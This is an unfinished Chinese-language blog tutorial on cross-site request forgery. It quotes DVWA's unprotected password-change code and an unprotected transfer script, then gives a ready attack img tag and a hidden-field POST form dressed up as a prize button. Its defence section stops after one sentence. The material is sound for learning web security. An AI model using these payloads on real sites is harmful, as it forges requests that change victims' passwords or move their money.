CSRF的一点知识

0x01 漏洞简介


CSRF(cross-site request forery)为跨站请求伪造,也被称为One Click Attack或Session Riding。最关键的是利用受害者的cookie向服务器发送伪造的请求。

CSRF和xss都是对web客户端的攻击。但它们有不同之处,比如xss利用的用户对指定网站的信任,但CSRF利用的是网站对用户浏览器的信任,它是通过伪造受信任用户的请求来进行伪造请求的。说了这么多,它们最大的区别就是,CSRF没有盗取用户的cookie,而是直接利用了。

0x02 漏洞分类和原理


我觉得能够理解漏洞的一个办法是写一遍漏洞的产生代码8,这个方法对我来说比较有用。

常见的csrf攻击类型分为:GET型和POST型。

先挖一个坑,把这个写完后就深度理解一下GET和POST的区别,再写篇文章放上来。

GET型

在DVWA中CSRF靶场的low等级有这样一段代码:

if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

这段代码没有任何防护措施,直接使用GET请求修改用户密码。这就是一个简单的GET型CSRF。

此时攻击网站B中如果有这样一串HTML代码:

<img src=http://xxx.com/change.php?password_new=111&password_conf=111

当用户点击这个攻击网页B后密码就会被重置。

POST型

某网站A的表单如下:

<form action="Transfer.php" method="post">
<p>id:<input type="text" name="id" /> </p>
<p>money:<input type="text" name="money" /> </p>
<p><input type="submit" value="Transfer" /> </p>
</form>

后台处理的Transfer.php代码如下:

<?php
session_start();
if(isset($_POST['id']) && isset($_POST['money']))
{
buy_stocks($_POST['id'], $_POST['money']);
}
?>

这个网页请求方式为$_POST,使用POST请求的数据来进行操作。

此时攻击网站的HTML代码中的表单为:

<form method="POST" name="transfer" action="http://www.xxx.com/Transfer.php">
<input type="hidden" name="id" value="11">
<input type="hidden" name="money" value="1000">
<input type="hidden" name="sub" value="OK">
<input type="submit" name="test" value="点击领奖">
</form>

攻击网站也使用了POST请求并且利用hidden表单向A网站传递数据,因此如果这个网页被设计得比较有诱惑力,当用户点击攻击网页B的“点击领奖”按钮后就会触发攻击。

0x03 CSRF漏洞探测


可以利用自动化探测工具CSRF Tester或burp自带的CSRF POC.

淘宝果然蛮nb的,我测试过那么多网站它的加密真的是最严谨的。

点击此处就会生成CSRF攻击代码。

可以把构造好的代码复制出来到自己写好的HTML里,把value改成要修改的密码就可以了。

0x04 CSRF漏洞防御


csrf产生的本质是要提交的参数是可知或者说可预测的。

以下是一些比较有效的防御方法:

Token防御

csrf的一个特征是攻击者无法直接窃取到用户的信息,仅仅是冒用cookie

4/29:突然发现这篇十天前写的文章还没写完…意味着csrf我到现在也没整明白 但最近两个比赛整得我确实没时间写了555 唉 可能等六月份都结束了才能再来学喜欢的东西了吧…最近真的没有更多的精力了。拜拜了我的小窝~

Author: Neorah
Link: https://neorah.me/pentest/csrf/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.